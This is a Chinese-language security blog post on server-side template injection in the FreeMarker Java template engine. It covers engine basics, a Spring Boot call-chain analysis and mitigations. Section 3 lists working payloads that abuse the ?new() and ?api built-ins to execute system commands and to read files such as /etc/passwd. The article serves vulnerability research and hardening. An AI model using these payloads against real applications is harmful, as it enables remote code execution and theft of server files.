SSTI-Freemarker模板注入漏洞

admin 2024年8月7日22:47:19评论19 views字数 12053阅读40分10秒阅读模式

SSTI-Freemarker模板注入漏洞

一、Freemarker 简介

FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个 Java类库,是一款程序员可以嵌入他们所开发产品的组件。 模板编写为 FreeMarker Template Language (FTL)。它是简单的,专用的语言, 不是像 PHP 那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。

SSTI-Freemarker模板注入漏洞

这种方式通常被称为 MVC (模型 视图 控制器) 模式s,对于动态网页来说,是一种特别流行的模式。 它帮助从开发人员(Java 程序员)中分离出网页设计师(HTML设计师)。设计师无需面对模板中的复杂逻辑, 在没有程序员来修改或重新编译代码时,也可以修改页面的样式。 而 FreeMarker 最初的设计,是被用来在 MVC 模式的 Web 开发框架中生成 HTML 页面的,它没有被绑定到 Servlet 或 HTML 或任意 Web 相关的东西上。它也可以用于非 Web 应用环境中。

二、Freemarker 使用

1、Spring boot + Freemarker示例

pom.xml 添加依赖

  <dependency>    <groupId>org.springframework.boot</groupId>    <artifactId>spring-boot-starter-freemarker</artifactId>  </dependency>

spring-boot-starter-freemarker-2.7.13.pom

<dependencies>  <dependency>    <groupId>org.springframework.boot</groupId>    <artifactId>spring-boot-starter</artifactId>    <version>2.7.13</version>    <scope>compile</scope>  </dependency>  <dependency>    <groupId>org.freemarker</groupId>    <artifactId>freemarker</artifactId>    <version>2.3.32</version>    <scope>compile</scope>  </dependency>  <dependency>    <groupId>org.springframework</groupId>    <artifactId>spring-context-support</artifactId>    <version>5.3.28</version>    <scope>compile</scope>  </dependency></dependencies>

application.yml 添加配置

spring:  freemarker:    # 模板后缀名    suffix: .ftl    # 文档类型    content-type: text/html    # 页面编码    charset: UTF-8    # 页面缓存    cache: false    # 模板路径    template-loader-path: classpath:/templates/

新建 index.ftl

<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <title>FreeMarker</title></head><body>    <table>        <tr>            <td>姓名</td>            <td>年龄</td>        </tr>        <tr>            <td>${user.name}</td>            <td>${user.age}</td>        </tr>    </table></body></html>

新建 UserController

import com.example.demo.bean.User;import org.springframework.stereotype.Controller;import org.springframework.ui.Model;import org.springframework.web.bind.annotation.GetMapping;
@Controllerpublic class UserController {
    @GetMapping("/index")    public String index(Model model) {        User user = new User();        user.setAge(5);        user.setName("li");        model.addAttribute("user", user);        return "index";    }}

运行 Spring boot 项目,访问 index 成功显示

SSTI-Freemarker模板注入漏洞
image.png

2、Freemarker 模板

见官方文档(http://freemarker.foofun.cn/dgui_template.html)

(1)、总体结构

实际上用程序语言编写的程序就是模板。 FTL (代表FreeMarker模板语言)。 这是为编写模板设计的非常简单的编程语言。 模板(FTL编程)是由如下部分混合而成的:

文本:文本会照着原样来输出。插值:这部分的输出会被计算的值来替换。插值由 ${ and } 所分隔(或者 #{ and },这种风格已经不建议再使用了;点击查看更多[1])。FTL 标签:FTL标签和HTML标签很相似,但是它们却是给FreeMarker的指示, 而且不会打印在输出内容中。注释:注释和HTML的注释也很相似,但它们是由 <#-- 和 -->来分隔的。注释会被FreeMarker直接忽略, 更不会在输出内容中显示。

我们来看一个具体的模板。其中的内容已经用颜色来标记了: 文本, 插值, FTL 标签, 注释。为了看到可见的 换行符, 这里使用了 [BR]。

SSTI-Freemarker模板注入漏洞
image.png

s 注:

FTL是区分大小写的。 list 是指令的名称而 List 就不是。类似地 ${name} 和 ${Name} 或 ${NAME} 也是不同的。插值 仅仅可以在 文本 中使用。 (也可以是字符串表达式;请参考 后续内容[2])FTL 标签 不可以在其他 FTL 标签 和 插值中使用。比如, 这样做是 错误 的: <#if <#include 'foo'>='bar'>...</#if>注释 可以放在 FTL 标签 和 插值中

(2)、指令

使用 FTL标签来调用 指令。 在示例中已经调用了 list 指令。在语法上我们使用了两个标签: <#list animals as animal> 和 </#list>。 FTL 标签分为两种:

开始标签: <#directivename parameters>结束标签: </#directivename>

除了标签以 # 开头外,其他都和HTML,XML的语法很相似。 如果标签没有嵌套内容(在开始标签和结束标签之间的内容),那么可以只使用开始标签。 例如 <#if

something

>

...

</#if>, 而FreeMarker知道 <#include

something

> 中的 include 指令没有可嵌套的内容。

parameters

的格式由

directivename_来决定。 事实上,指令有两种类型: 预定义指令[3] 和 用户自定义指令[4]。 对于用户自定义的指令使用 @ 来代替 #,比如,<@mydirective _parameters

>

...

</@mydirective>。 更深的区别在于如果指令没有嵌套内容,那么必须这么使用 <@mydirective

parameters

/>,这和XML语法很相似 (例如 )。 assign 指令:主要是用于为该模板页面创建或替换一个顶层变量。

<#assign name1=value1 name2=value2 ... nameN=valueN>or<#assign same as above... in namespacehash>or<#assign name>  capture this</#assign>or<#assign name in namespacehash>  capture this</#assign>
Tips:name为变量名,value为表达式,namespacehash是命名空间创建的哈希表,是表达式。
for example:<#assign seq = ["foo", "bar", "baz"]>//创建了一个变量名为seq的序列

(3)、表达式

当需要给插值或者指令参数提供值时,可以使用变量或其他复杂的表达式。 例如,我们设x为8,y为5,那么 (x + y)/2 的值就会被处理成数字类型的值6.5。 在我们展开细节之前,先来看一些具体的例子:

当给插值提供值时:插值的使用方式为 ${expression}, 把它放到你想输出文本的位置上,然后给值就可以打印出来了。 即 ${(5 + 8)/2} 会打印出 ''6.5'' 来 (如果输出的语言不是美国英语,也可能打印出''6,5''来)。当给指令参数提供值时:在入门章节我们已经看到 if 指令的使用了。这个指令的语法是:<#if expression>...</#if>。 这里的表达式计算结果必须是布尔类型的。比如 <#if 2 < 3> 中的 2 <3 (2小于3)是结果为 true 的布尔表达式。

(4)、插值

插值的使用格式是: ${

expression

},这里的

expression

可以是所有种类的表达式(比如 ${100 + x})。 插值是用来给

表达式

插入具体值然后转换为文本(字符串)。插值仅仅可以在两种位置使用:在 文本区[5] (比如 Hello ${name}!) 和 字符串表达式[6] (比如 <#include "/footer/${company}.html">)中。 表达式的结果必须是字符串,数字或者日期/时间/日期-时间值, 因为(默认是这样)仅仅这些值可以被插值自动转换为字符串。其它类型的值 (比如布尔值,序列)必须 "手动地" 转换成字符串(后续会有一些建议), 否则就会发生错误,中止模板执行。

3、Freemarker 内建函数

Freemarker 提供了很多内置函数供开发者使用,具体见官方文档[7],存在风险的函数为 new 和 api,详情如下:

(1)、new

用来创建一个确定的 TemplateModel 实现变量的内建函数。 在 ? 的左边你可以指定一个字符串, 值为 TemplateModel 实现类的完全限定名。 结果是调用构造方法生成一个方法变量,然后将新变量返回。 例:

<#-- Creates an user-defined directive be calling the parameterless constructor of the class --><#assign word_wrapp = "com.acmee.freemarker.WordWrapperDirective"?new()><#-- Creates an user-defined directive be calling the constructor with one numerical argument --><#assign word_wrapp_narrow = "com.acmee.freemarker.WordWrapperDirective"?new(40)>

该内建函数可以创建任意的 Java 对象,只要类实现了 TemplateModel 接口即可创建进而使用这些对象, 并且可以触发没有实现 TemplateModel 接口的类的静态初始化块。 2.3.17后可使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 、new_builtin_class_resolver 限制 new 内建函数对类的访问。

(2)、api

api 内建函数于 FreeMarker 2.3.22 版本出现,之前版本不存在。 如果value本身支持这个额外的特性, value?api 提供访问 value 的API (通常是 Java API),比如 value?api.someJavaMethod(), 当需要调用对象的Java方法时,这种方式很少使用, 但是 FreeMarker 揭示的value的简化视图的模板隐藏了它,也没有相等的内建函数。 例如,当有一个 Map,并放入数据模型 (使用默认的对象包装器),模板中的 myMap.myMethod() 基本上翻译成Java的 ((Method) myMap.get("myMethod")).invoke(...),因此不能调用 myMethod。如果编写了 myMap?api.myMethod() 来代替,那么就是Java中的 myMap.myMethod()。 api 内建函数使用存在以下限制:

api_builtin_enabled 配置设置项必须设置为 true。 2.3.22 版本及之后默认为 false值本身要支持它。我们在讨论当模板看到的值,它是通过对象包装从原始对象值(来自于数据模型或者Java方法的返回值)中创建的。 因此,这就依赖 FreeMarker 的配置设置项 object_wrapper, 还有被包装的(原始)对象:当对象包装器是 DefaultObjectWrapper ,并且它的 incompatibleImprovements 设置为 2.3.22 或更高 (在这里看如何设置它) (事实上,要做的是将它的 useAdaptersForContainer 属性设置为 true,但那是提到的 incompatibleImprovements 的默认值)时,从 Map 和 List 中得到FTL值支持 ?api。其它的 java.util.Collections 也是这样,如果 DefaultObjectWrapper 的 forceLegacyNonListCollections 属性设置为 false (默认是 true, 这是为了更好的向后兼容拆包)。当被纯 BeansWrapper 包装时,所有值都支持 ?api。但是再次重申,如果有其它方法,就避免使用它。实现了 freemarker.template.TemplateModelWithAPISupport 接口, 自定义的 TemplateModel 可以支持 ?api。

当在配置中不允许或值本身不支持 ?api 时使用了它, 就会中止模板处理并发生错误。

三、Freemarker 模板注入漏洞分析

1、获取模板

Spring boot 所有http请求均调用org.springframework.web.servlet.FrameworkServlet#service()方法进行处理,调用super.service()进行处理

SSTI-Freemarker模板注入漏洞
image.png

调用至javax.servlet.http.HttpServlet#service()

SSTI-Freemarker模板注入漏洞
image.png

调用至javax.servlet.http.HttpServlet#doget()

SSTI-Freemarker模板注入漏洞
image.png

调用至rg.springframework.web.servlet.FrameworkServlet#processRequest()

SSTI-Freemarker模板注入漏洞
image.png

org.springframework.web.servlet.DispatcherServlet#doService() --> org.springframework.web.servlet.DispatcherServlet #doDispatch() -->

SSTI-Freemarker模板注入漏洞
image-20230831222714908

org.springframework.web.servlet.DispatcherServlet #processDispatchResult() --> 调用至org.springframework.web.servlet.DispatcherServlet#render()

SSTI-Freemarker模板注入漏洞
image.png

org.springframework.web.servlet.DispatcherServlet#resolveViewName() --> org.springframework.web.servlet.view.ContentNegotiatingViewResolver#resolveViewName() --> org.springframework.web.servlet.view.ContentNegotiatingViewResolver#getCandidateViews() --> org.springframework.web.servlet.view.AbstractCachingViewResolver#resolveViewName() --> org.springframework.web.servlet.view.UrlBasedViewResolver#createView() 创建模板,此方法先判断是否为跳转为跳转也没,此处均不进入 if 最终调用super.createView()

SSTI-Freemarker模板注入漏洞
image.png

org.springframework.web.servlet.view.AbstractCachingViewResolver#createView()

SSTI-Freemarker模板注入漏洞
image.png

org.springframework.web.servlet.view.AbstractCachingViewResolver#loadView()

SSTI-Freemarker模板注入漏洞
image.png

org.springframework.web.servlet.view.AbstractTemplateViewResolver#buildView()

SSTI-Freemarker模板注入漏洞
image.png

org.springframework.web.servlet.view.UrlBasedViewResolver#buildView() 此处通过 this.instantiateView()new 一个 FreeMarkerView 类,然后进行了一些基础赋值,构建 View 基础框架,此处设置 url 并添加 .ftl后缀。

SSTI-Freemarker模板注入漏洞
image.png
SSTI-Freemarker模板注入漏洞
image.png

org.springframework.web.servlet.view.AbstractCachingViewResolver#loadView() 方法调用buildView() 后,继续调用view.checkResource()

SSTI-Freemarker模板注入漏洞
image.png

org.springframework.web.servlet.view.freemarker.FreeMarkerView#checkResource() 判断 url 是否为空,不为空后调用 getTemplate(url, locale)

SSTI-Freemarker模板注入漏洞
image-20230831213348548

org.springframework.web.servlet.view.freemarker.FreeMarkerView#getTemplate(url, locale)

SSTI-Freemarker模板注入漏洞
image-20230831213451184

freemarker.template.Configuration#getTemplate() 调用此类同名方法,跟进this.cache.getTemplate()

SSTI-Freemarker模板注入漏洞
image-20230831213617838

SSTI-Freemarker模板注入漏洞
image-20230831213702913

freemarker.cache.TemplateCache#getTemplate() ,跟进this.getTemplateInternal()

SSTI-Freemarker模板注入漏洞
image-20230831213852936

freemarker.cache.TemplateCache#getTemplateInternal(),此处进行判断 -->

SSTI-Freemarker模板注入漏洞
image-20230831214145389

freemarker.cache.TemplateCache#lookupTemplate() -->

freemarker.cache.TemplateLookupStrategy#lookup() -->

freemarker.cache.TemplateCache#lookupWithLocalizedThenAcquisitionStrategy()

...

最终调用this.lookupWithLocalizedThenAcquisitionStrategy(),此处会先拼接 _zh_CN,再寻找未拼接_zh_CN的模板名,调用this.findTemplateSource(path)获取模板实例。

SSTI-Freemarker模板注入漏洞
image-20230831221401069

SSTI-Freemarker模板注入漏洞
image-20230831221447397

此处获取到模板文件里数据

2、解析模板

回到org.springframework.web.servlet.DispatcherServlet#render() resolveViewName()加载模板文件后使用view.render()对模板进行解析。

SSTI-Freemarker模板注入漏洞
image-20230831224541162

最终调用至 org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender()

SSTI-Freemarker模板注入漏洞
image-20230901140401840

org.springframework.web.servlet.view.freemarker.FreeMarkerView#processTemplate()

SSTI-Freemarker模板注入漏洞
image-20230901140448277

freemarker.template.Template#process() 调用createProcessingEnvironment()#process(),createProcessingEnvironment()返回Environment 类,故即调用 Environment#process()

SSTI-Freemarker模板注入漏洞
image-20230901140537699

freemarker.core.Environment#process()

SSTI-Freemarker模板注入漏洞
image-20230901151520810

freemarker.core.Environment#visit() 对 ftl 的文件进行遍历,若读取到一条 freeMarker 表达式,回调 visit() 方法, visit() 方法调用element.accept()

SSTI-Freemarker模板注入漏洞
image-20230901151620894

freemarker.core.Assignment#accept() 判断 namespaceExp 是否为 null,接着判断 this.operatorType 是否等于 65536,跟进 eval() 方法

SSTI-Freemarker模板注入漏洞
image-20230902091715395

freemarker.core.Expression#eval() 方法判断 constantValue 是否为 null,此处 constantValue 为 null,调用 this._eval()

SSTI-Freemarker模板注入漏洞
image-20230902091752082

freemarker.core.MethodCall#_eval() 此处 targetMethod 即在 ftl 语句中声明的类

SSTI-Freemarker模板注入漏洞
image-20230902092640533

freemarker.core.NewBI#exec() 中调用 newInstance() 初始化声明的类

SSTI-Freemarker模板注入漏洞
image-20230902092809418

类初始化完成后继续遍历 ftl文件,遍历至value("Calc") ,调用至 freemarker.core.DollarVariable#accept(),与之前调用链一致,最终调用至 freemarker.core.MethodCall#_eval()

SSTI-Freemarker模板注入漏洞
image-20230902094928492

此处即调用至 freemarker.template.utility.Execute#exec() 进行命令执行

SSTI-Freemarker模板注入漏洞
image-20230902095100008

3、paylod

(1)、new() 函数

<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") }

(2)、api() 函数

#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON")> <#assign field=clazz?api.getField("GSON")> <#assign gson=field?api.get(null)> <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> ${ex("Calc"")}
<#assign is=object?api.class.getResourceAsStream("/Test.class")>FILE:[<#list 0..999999999 as _>    <#assign byte=is.read()>    <#if byte == -1>        <#break>    </#if>${byte}, </#list>]<#assign uri=object?api.class.getResource("/").toURI()><#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()><#assign is=input?api.getInputStream()>FILE:[<#list 0..999999999 as _>    <#assign byte=is.read()>    <#if byte == -1>        <#break>    </#if>${byte}, </#list>]

四、漏洞修复

从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析: 1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。

2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类。 3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。 可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor这三个类的解析。

4、当api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。


如您有问题、建议、需求、合作、加群交流请后台留言或添加微信

SSTI-Freemarker模板注入漏洞
image.png

References

[1] 点击查看更多: http://freemarker.foofun.cn/ref_depr_numerical_interpolation.html
[2] 后续内容: http://freemarker.foofun.cn/dgui_template_exp.html#dgui_template_exp_stringop_interpolation
[3] 预定义指令: http://freemarker.foofun.cn/gloss.html#gloss.predefinedDirective
[4] 用户自定义指令: http://freemarker.foofun.cn/gloss.html#gloss.userDefinedDirective
[5] 文本区: http://freemarker.foofun.cn/dgui_template_overallstructure.html
[6] 字符串表达式: http://freemarker.foofun.cn/dgui_template_exp.html#dgui_template_exp_stringop_interpolation
[7] 官方文档: http://freemarker.foofun.cn/ref_builtins.html

 

原文始发于微信公众号(白给信安):SSTI-Freemarker模板注入漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月7日22:47:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SSTI-Freemarker模板注入漏洞https://cn-sec.com/archives/2002196.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息